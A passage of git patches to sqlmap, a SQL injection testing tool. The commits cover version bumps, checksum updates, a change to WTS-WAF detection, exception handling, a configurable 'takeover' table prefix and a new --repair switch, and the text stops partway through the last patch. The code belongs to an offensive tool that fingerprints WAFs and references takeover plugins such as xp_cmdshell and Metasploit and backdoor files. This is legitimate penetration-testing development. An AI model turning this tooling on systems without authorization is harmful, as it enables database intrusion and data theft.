('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 9cefa4798ee..3d3c3e32973 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -f8515bbac09b5707af54ec874d27aef1 lib/core/settings.py +33c1396c08313221a337ba08b678d0d7 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -475,6 +475,7 @@ ba0fb1e6b815446b9d6f30950900fc80 waf/trafficshield.py a7b8c4c3d1463409e0e204932f0ddff0 waf/webknight.py 053c6b1ea20133bd9f563f1275ddb5a4 waf/webseal.py ac9e4e3ced77012ed97284634a9ffc74 waf/wordfence.py +db5cf700712d8439453d4d22111e0617 waf/wts.py e69f77220558564785f0b3c961782a93 waf/yundun.py a560bee3e948b97af2c88805933dcaad waf/yunsuo.py c8b6517da2c8a28d474956e3a6b8c1ed waf/zenedge.py diff --git a/waf/wts.py b/waf/wts.py index a68d09ead4c..d84ca223f0d 100644 --- a/waf/wts.py +++ b/waf/wts.py @@ -17,8 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = re.search(r"wts(.*)?", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= all(_ in (page or "") for _ in ("<title>WTS.WAF", "<h1>WTS-WAF")) + retval = ">WTS-WAF" in (page or "") if retval: break From 27265f56baf316e7447da61b51fd18f2ad9b0ac6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 11 Feb 2019 15:58:25 +0100 Subject: [PATCH 107/800] Update for #3488 (found samples with Server: wts) --- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- waf/wts.py | 1 + 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 09a13d52878..0268d645226 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.2.17" +VERSION = "1.3.2.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 3d3c3e32973..48753df4019 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -33c1396c08313221a337ba08b678d0d7 lib/core/settings.py +23e7cd640ca9345ced37e2c30194859d lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -475,7 +475,7 @@ ba0fb1e6b815446b9d6f30950900fc80 waf/trafficshield.py a7b8c4c3d1463409e0e204932f0ddff0 waf/webknight.py 053c6b1ea20133bd9f563f1275ddb5a4 waf/webseal.py ac9e4e3ced77012ed97284634a9ffc74 waf/wordfence.py -db5cf700712d8439453d4d22111e0617 waf/wts.py +512788a2a07f41290f78c9ad0053bd84 waf/wts.py e69f77220558564785f0b3c961782a93 waf/yundun.py a560bee3e948b97af2c88805933dcaad waf/yunsuo.py c8b6517da2c8a28d474956e3a6b8c1ed waf/zenedge.py diff --git a/waf/wts.py b/waf/wts.py index d84ca223f0d..b729cbdc2b8 100644 --- a/waf/wts.py +++ b/waf/wts.py @@ -18,6 +18,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) retval = ">WTS-WAF" in (page or "") + retval |= re.search(r"\Awts/", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None if retval: break From ba883b77dff52f0d7c71ed953f5e1f22dc2ad671 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 12 Feb 2019 10:42:32 +0100 Subject: [PATCH 108/800] Better exception messages (including types) --- lib/core/common.py | 8 +++++++- lib/core/settings.py | 2 +- lib/core/threads.py | 4 +++- txt/checksum.md5 | 6 +++--- 4 files changed, 14 insertions(+), 6 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 698009401cb..c65d0441804 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -84,6 +84,7 @@ from lib.core.enums import PAYLOAD from lib.core.enums import REFLECTIVE_COUNTER from lib.core.enums import SORT_ORDER +from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapNoneDataException @@ -4784,6 +4785,8 @@ def getSafeExString(ex, encoding=None): u'foobar' """ + retVal = None + if getattr(ex, "message", None): retVal = ex.message elif getattr(ex, "msg", None): @@ -4792,8 +4795,11 @@ def getSafeExString(ex, encoding=None): retVal = ex[1] elif isinstance(ex, (list, tuple)) and len(ex) > 0 and isinstance(ex[0], basestring): retVal = ex[0] - else: + + if retVal is None: retVal = str(ex) + elif not isinstance(ex, SqlmapBaseException): + retVal = "%s: %s" % (type(ex).__name__, retVal) return getUnicode(retVal or "", encoding=encoding).strip() diff --git a/lib/core/settings.py b/lib/core/settings.py index 0268d645226..6e613fe349d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.2.18" +VERSION = "1.3.2.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index f6f6bb65d68..6031c96b370 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -18,6 +18,7 @@ from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.enums import PAYLOAD +from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapThreadException from lib.core.exception import SqlmapUserQuitException @@ -95,7 +96,8 @@ def exceptionHandledFunction(threadFunction, silent=False): raise except Exception as ex: if not silent and kb.get("threadContinue"): - logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) + errMsg = ex.message if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, ex.message) + logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg)) if conf.get("verbose") > 1: traceback.print_exc() diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 48753df4019..7d30114adba 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -964885db1ac028fa622ee5ba20f061b1 lib/core/common.py +0d12ca1436b330d986221388d054730b lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py 00828c4455321b6987e3f882f4ef4f92 lib/core/datatype.py @@ -50,12 +50,12 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -23e7cd640ca9345ced37e2c30194859d lib/core/settings.py +587adf8926007e3e73492e136bc74da4 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py 7857b24b7865ccb4a05283faa596974d lib/core/testing.py -e9788d2992f842cf91ab67389bf4372a lib/core/threads.py +5c369aefa7c5af85dee9212acdf94bbc lib/core/threads.py 2c263c8610667fdc593c50a35ab20f57 lib/core/unescaper.py 54e9cd1968adea11283d44631f0ca400 lib/core/update.py 5b3f08208be0579356f78ce5805d37b2 lib/core/wordlist.py From dfe6fe6060c2cfb4888724652bf77d3630d26b48 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 12 Feb 2019 10:49:47 +0100 Subject: [PATCH 109/800] Fixes #3489 --- lib/core/decorators.py | 3 ++- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/core/decorators.py b/lib/core/decorators.py index d8e3f88290e..f99c712c991 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -27,7 +27,8 @@ def _(*args, **kwargs): key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs))).hexdigest(), 16) & 0x7fffffffffffffff try: - result = cache[key] + with _lock: + result = cache[key] except KeyError: result = f(*args, **kwargs) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6e613fe349d..c16282034a6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.2.19" +VERSION = "1.3.2.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 7d30114adba..99ab41c608a 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -34,7 +34,7 @@ a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py 00828c4455321b6987e3f882f4ef4f92 lib/core/datatype.py -3ec93893ad8b1e060540753b7f8a8caf lib/core/decorators.py +3d547dedebef3be749cf38e4e798e120 lib/core/decorators.py 5f4680b769ae07f22157bd832c97cf8f lib/core/defaults.py 9dfc69ba47209a4ceca494dde9ee8183 lib/core/dicts.py 4ba141124699fd7a763dea82f17fe523 lib/core/dump.py @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -587adf8926007e3e73492e136bc74da4 lib/core/settings.py +be40d085a10a86d6f324039d76d48afa lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py From 9789d65c1910d82862bb23aa262436e65e096c07 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Fri, 15 Feb 2019 16:54:43 +0100 Subject: [PATCH 110/800] Fixes #3487 --- lib/core/settings.py | 2 +- plugins/generic/databases.py | 1 + txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c16282034a6..062671ba035 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.2.20" +VERSION = "1.3.2.21" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 73792412e79..34551a033a8 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -910,6 +910,7 @@ def _tableGetCount(self, db, table): else: query = "SELECT %s FROM %s.%s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True)) + query = agent.whereQuery(query) count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 99ab41c608a..837ad56ce2c 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -be40d085a10a86d6f324039d76d48afa lib/core/settings.py +7ba3ce7dc1e4c29923c3b72f0a5b5ae2 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -215,7 +215,7 @@ ec3f406591fc9472f5750bd40993e72e plugins/dbms/sybase/syntax.py 369476221b3059106410de05766227e0 plugins/dbms/sybase/takeover.py 312020bc31ffb0bc6077f62e6fff6e73 plugins/generic/connector.py d749b7f7b4bcf1f646290dec739f1e6d plugins/generic/custom.py -f5aff26ff1b0664a14e7c5fa17692b69 plugins/generic/databases.py +b5e9bc087d2cc3defcc9e468785a0462 plugins/generic/databases.py 4cf8eb3719c980c54a92f838a999d090 plugins/generic/entries.py f3624debb8ae6fbcfb5f1b7f1d0743d1 plugins/generic/enumeration.py cda119b7b0d1afeb60f912009cdb0cf5 plugins/generic/filesystem.py From 8fe37f3564f9f45f1de63e0a1cf32534be628ca3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Fri, 15 Feb 2019 17:08:55 +0100 Subject: [PATCH 111/800] Update for #3486 --- lib/core/settings.py | 13 ++++++++++++- lib/request/direct.py | 3 ++- plugins/generic/filesystem.py | 3 ++- plugins/generic/takeover.py | 3 ++- txt/checksum.md5 | 8 ++++---- 5 files changed, 22 insertions(+), 8 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 062671ba035..ab0a61af0ea 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.2.21" +VERSION = "1.3.2.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -773,6 +773,9 @@ OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") } +# Table prefix to use in "takeover" functionalities (i.e. auxiliary tables used by sqlmap at the vulnerable DBMS) +TAKEOVER_TABLE_PREFIX = "sqlmap" + # Suffixes used in brute force search for web server document root BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build") @@ -809,3 +812,11 @@ font-size:12px; } </style>""" + +# Leaving (dirty) possibility to change values from here (e.g. `export SQLMAP__MAX_NUMBER_OF_THREADS=20`) + +for key, value in os.environ.items(): + if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX): + _ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper() + if _ in globals(): + globals()[_] = value diff --git a/lib/request/direct.py b/lib/request/direct.py index c4a8a5b22b9..3a0dea4ebab 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -25,6 +25,7 @@ from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import TIMEOUT_STATE +from lib.core.settings import TAKEOVER_TABLE_PREFIX from lib.core.settings import UNICODE_ENCODING from lib.utils.timeout import timeout @@ -53,7 +54,7 @@ def direct(query, content=True): if not select and "EXEC " not in query.upper(): timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) - elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query): + elif not (output and ("%soutput" % TAKEOVER_TABLE_PREFIX) not in query and ("%sfile" % TAKEOVER_TABLE_PREFIX) not in query): output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) if state == TIMEOUT_STATE.NORMAL: hashDBWrite(query, output, True) diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 257b2deec43..74010921194 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -28,6 +28,7 @@ from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapUndefinedMethod +from lib.core.settings import TAKEOVER_TABLE_PREFIX from lib.core.settings import UNICODE_ENCODING from lib.request import inject @@ -37,7 +38,7 @@ class Filesystem: """ def __init__(self): - self.fileTblName = "sqlmapfile" + self.fileTblName = "%sfile" % TAKEOVER_TABLE_PREFIX self.tblField = "data" def _checkFileLength(self, localFile, remoteFile, fileRead=False): diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 426de121155..3f2092f931b 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -24,6 +24,7 @@ from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUndefinedMethod from lib.core.exception import SqlmapUnsupportedDBMSException +from lib.core.settings import TAKEOVER_TABLE_PREFIX from lib.takeover.abstraction import Abstraction from lib.takeover.icmpsh import ICMPsh from lib.takeover.metasploit import Metasploit @@ -37,7 +38,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): """ def __init__(self): - self.cmdTblName = "sqlmapoutput" + self.cmdTblName = ("%soutput" % TAKEOVER_TABLE_PREFIX) self.tblField = "data" Abstraction.__init__(self) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 837ad56ce2c..6f6da31b0a8 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -7ba3ce7dc1e4c29923c3b72f0a5b5ae2 lib/core/settings.py +8b2b5526b9a22e010342ff8f37e1cb15 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -73,7 +73,7 @@ e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py 97b7577fdfe3d8537fe9ea3a070d0507 lib/request/basic.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py 2fde12a95133b26699e26a5c56311c38 lib/request/connect.py -7cba86090b02558f04c6692cef66e772 lib/request/direct.py +43005bd6a78e9cf0f3ed2283a1cb122e lib/request/direct.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py fb6be55d21a70765e35549af2484f762 lib/request/__init__.py @@ -218,13 +218,13 @@ d749b7f7b4bcf1f646290dec739f1e6d plugins/generic/custom.py b5e9bc087d2cc3defcc9e468785a0462 plugins/generic/databases.py 4cf8eb3719c980c54a92f838a999d090 plugins/generic/entries.py f3624debb8ae6fbcfb5f1b7f1d0743d1 plugins/generic/enumeration.py -cda119b7b0d1afeb60f912009cdb0cf5 plugins/generic/filesystem.py +07733664167a2d082d253c119630d27b plugins/generic/filesystem.py 65e75cd3c2c7acffa6ac13b086e0f383 plugins/generic/fingerprint.py fb6be55d21a70765e35549af2484f762 plugins/generic/__init__.py de1928d6865547764ae9a896da4bf1d4 plugins/generic/misc.py c95bf3dec22cc638100efef99e2ccc3c plugins/generic/search.py 1989f6cbed217f4222dc2dce72992d91 plugins/generic/syntax.py -44c388ea08d4296e2bf2706e19cbe64a plugins/generic/takeover.py +4b539275dcee14683557da4aaf58b36c plugins/generic/takeover.py f57914512ae22521b988b5094f1a0d6f plugins/generic/users.py fb6be55d21a70765e35549af2484f762 plugins/__init__.py 5dc693e22f5d020c5c568d7325bd4226 shell/backdoors/backdoor.asp_ From af890d639d28db463afce6084b5acc727e3fadc9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 19 Feb 2019 00:21:37 +0100 Subject: [PATCH 112/800] Implementing switch --repair (Issue #2888) --- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 4 ++++ lib/techniques/blind/inference.py | 4 +++- sqlmap.conf | 4 ++++ txt/checksum.md5 | 8 ++++---- 6 files changed, 17 insertions(+), 6 deletions(-) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index b72cdffe4d4..1acf4762775 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -211,6 +211,7 @@ "hexConvert": "boolean", "outputDir": "string", "parseErrors": "boolean", + "repair": "boolean", "saveConfig": "string", "scope": "string", "testFilter": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index ab0a61af0ea..701866ff3c6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.2.22" +VERSION = "1.3.2.23" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 927eaa2b0a0..388634e0e2c 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -31,6 +31,7 @@ from lib.core.exception import SqlmapSyntaxException from lib.core.settings import BASIC_HELP_ITEMS from lib.core.settings import DUMMY_URL +from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import IS_WIN from lib.core.settings import MAX_HELP_OPTION_LENGTH from lib.core.settings import VERSION_STRING @@ -594,6 +595,9 @@ def cmdLineParser(argv=None): general.add_option("--parse-errors", dest="parseErrors", action="store_true", help="Parse and display DBMS error messages from responses") + general.add_option("--repair", dest="repair", action="store_true", + help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR) + general.add_option("--save", dest="saveConfig", help="Save options to a configuration INI file") diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 340d6134442..46da3e6abfe 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -82,7 +82,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None retVal = hashDBRetrieve(expression, checkConf=True) if retVal: - if PARTIAL_HEX_VALUE_MARKER in retVal: + if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal: + pass + elif PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: diff --git a/sqlmap.conf b/sqlmap.conf index 88bcd002c9d..0a2331ace72 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -725,6 +725,10 @@ outputDir = # Valid: True or False parseErrors = False +# Redump entries having unknown character marker (?). +# Valid: True or False +repair = False + # Regular expression for filtering targets from provided Burp. # or WebScarab proxy log. # Example: (google|yahoo) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 6f6da31b0a8..d58ddc1fc7a 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -42,7 +42,7 @@ abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py 84ef8f32e4582fcc294dc14e1997131d lib/core/exception.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py -fa9f24e88c81a6cef52da3dd5e637010 lib/core/optiondict.py +151136142a14bee82cb02a9ca64c741d lib/core/optiondict.py fca2d30cc9f9f5906e53542b2a9c247e lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 4b12aa67fbf6c973d12e54cf9cb54ea0 lib/core/profiling.py @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -8b2b5526b9a22e010342ff8f37e1cb15 lib/core/settings.py +3e31c14f05909fc1d676aee8d8a99c57 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -61,7 +61,7 @@ d6269c55789f78cf707e09a0f5b45443 lib/core/session.py 5b3f08208be0579356f78ce5805d37b2 lib/core/wordlist.py fb6be55d21a70765e35549af2484f762 lib/__init__.py 4881480d0c1778053908904e04570dc3 lib/parse/banner.py -87a1d50411e74cd0afb2d1bed30f59d4 lib/parse/cmdline.py +b23a0940d21347975a783c63fe671974 lib/parse/cmdline.py 06ccbccb63255c8f1c35950a4c8a6f6b lib/parse/configfile.py d34df646508c2dceb25205e1316673d1 lib/parse/handler.py 43deb2400e269e602e916efaec7c0903 lib/parse/headers.py @@ -91,7 +91,7 @@ fb6be55d21a70765e35549af2484f762 lib/takeover/__init__.py ad038ac567f97a4b940b7987792d64a4 lib/takeover/udf.py f0a809475eb0db95ffbe89fd6ca5bd96 lib/takeover/web.py 1aadcdc058bb813d09ad23d26ea2a6b5 lib/takeover/xp_cmdshell.py -654d222cbae610923965c583355ec34a lib/techniques/blind/inference.py +5d402892bf1e9b2c62ab2cfde21a6e11 lib/techniques/blind/inference.py fb6be55d21a70765e35549af2484f762 lib/techniques/blind/__init__.py fb6be55d21a70765e35549af2484f762 lib/techniques/dns/__init__.py ea48db4c48276d7d0e71aa467c0c523f lib/techniques/dns/test.py From dc95558187416597f87dea7623f5d6021fb83b95 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 21 Feb 2019 01:10:43 +0100 Subject: [PATCH 113/800] Fixes #373 --- lib/controller/action.py | 70 ++++++++++++++++++++++++++++++++++------ lib/core/settings.py | 2 +- txt/checksum.md5 | 4 +-- 3 files changed, 63 insertions(+), 13 deletions(-) diff --git a/lib/controller/action.py b/lib/controller/action.py index 21658ec1671..acdd2dbea2b 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -97,34 +97,84 @@ def action(): raise if conf.getDbs: - conf.dumper.dbs(conf.dbmsHandler.getDbs()) + try: + conf.dumper.dbs(conf.dbmsHandler.getDbs()) + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.getTables: - conf.dumper.dbTables(conf.dbmsHandler.getTables()) + try: + conf.dumper.dbTables(conf.dbmsHandler.getTables()) + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.commonTables: - conf.dumper.dbTables(tableExists(paths.COMMON_TABLES)) + try: + conf.dumper.dbTables(tableExists(paths.COMMON_TABLES)) + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.getSchema: - conf.dumper.dbTableColumns(conf.dbmsHandler.getSchema(), CONTENT_TYPE.SCHEMA) + try: + conf.dumper.dbTableColumns(conf.dbmsHandler.getSchema(), CONTENT_TYPE.SCHEMA) + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.getColumns: - conf.dumper.dbTableColumns(conf.dbmsHandler.getColumns(), CONTENT_TYPE.COLUMNS) + try: + conf.dumper.dbTableColumns(conf.dbmsHandler.getColumns(), CONTENT_TYPE.COLUMNS) + except 